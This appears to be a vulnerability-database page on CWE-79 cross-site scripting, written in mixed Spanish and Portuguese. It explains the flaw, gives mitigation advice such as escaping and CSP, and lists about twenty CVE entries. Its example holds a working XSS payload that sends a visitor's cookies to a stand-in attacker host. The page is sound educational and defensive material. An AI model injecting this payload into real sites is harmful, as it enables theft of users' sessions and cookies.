Fallos del tipo CWE-79

30.295 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2023-30564MEDIUMStored Cross-Site Scripting on Device Import FunctionalityEPSS 0.3%CVE-2026-8622MEDIUMImage Sizes on Demand <= 1.3 - Reflected Cross-Site Scripting via PHP_SELF Server VariableEPSS 0.3%CVE-2026-2825MEDIUMrachelos WeRSS we-mp-rss Article fix.py fix_html cross site scriptingEPSS 0.3%CVE-2024-49667MEDIUMWordPress Local Business Addons For Elementor plugin <= 1.1.5 - Stored Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-28908MEDIUMWordPress pipDisqus plugin <= 1.6 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-38857MEDIUMReflected links in visuals facilitate phishing attacksEPSS 0.3%CVE-2024-9572MEDIUMCross-Site Scripting vulnerability in SOPlanningEPSS 0.3%CVE-2026-116217MEDIUMRosarioSIS before 12.9.2 Reflected XSS via menu_id in MenuReports.phpEPSS 0.3%CVE-2024-50983MEDIUMFlightPath 7.5 contains a Cross Site Scripting (XSS) vulnerability, which allows authenticated remote attackers with administrative rights tEPSS 0.3%CVE-2025-27304MEDIUMWordPress Contact Form 7 Star Rating with font Awesome plugin <= 1.3 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-52489MEDIUMWordPress Add Chat App Button plugin <= 2.1.5 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2026-8628MEDIUMEntreDroppers <= 1.1.2 - Reflected Cross-Site Scripting via PHP_SELF ParameterEPSS 0.3%CVE-2026-73531MEDIUMdjango-helpdesk < 2.3.3 Stored XSS via HTML AttachmentsEPSS 0.3%CVE-2026-18555MEDIUMBetter Messages – Chat Rooms, Group Chat, Private Messages & AI Chat Bots plugin for WordPress <= 2.15.22 - Reflected Cross-Site Scripting via 'icn' ParameterEPSS 0.3%CVE-2025-3890MEDIUMWordPress Simple PayPal Shopping Cart <= 5.1.3 - Authenticated (Contributor+) Stored Cross-Site Scripting via ShortcodeEPSS 0.3%CVE-2024-44716MEDIUMA cross-site scripting (XSS) vulnerability in DedeBIZ v6.3.0 allows attackers to execute arbitrary web scripts or HTML via a crafted payloadEPSS 0.3%CVE-2024-13706MEDIUMWP Image Uploader <= 1.0.1 - Reflected Cross-Site ScriptingEPSS 0.3%CVE-2025-1505MEDIUMAdvanced AJAX Product Filters <= 1.6.8.1 - Reflected Cross-Site ScriptingEPSS 0.3%CVE-2025-4684MEDIUMBlockSpare: Gutenberg Blocks & Patterns for Blogs, Magazines, Business Sites <= 3.2.13.1 - Authenticated (Contributor+) Stored Cross-Site Scripting via Image Carousel and Image Slider WidgetsEPSS 0.3%CVE-2024-42818MEDIUMA cross-site scripting (XSS) vulnerability in the Config-Create function of fastapi-admin pro v0.1.4 allows attackers to execute arbitrary wEPSS 0.3%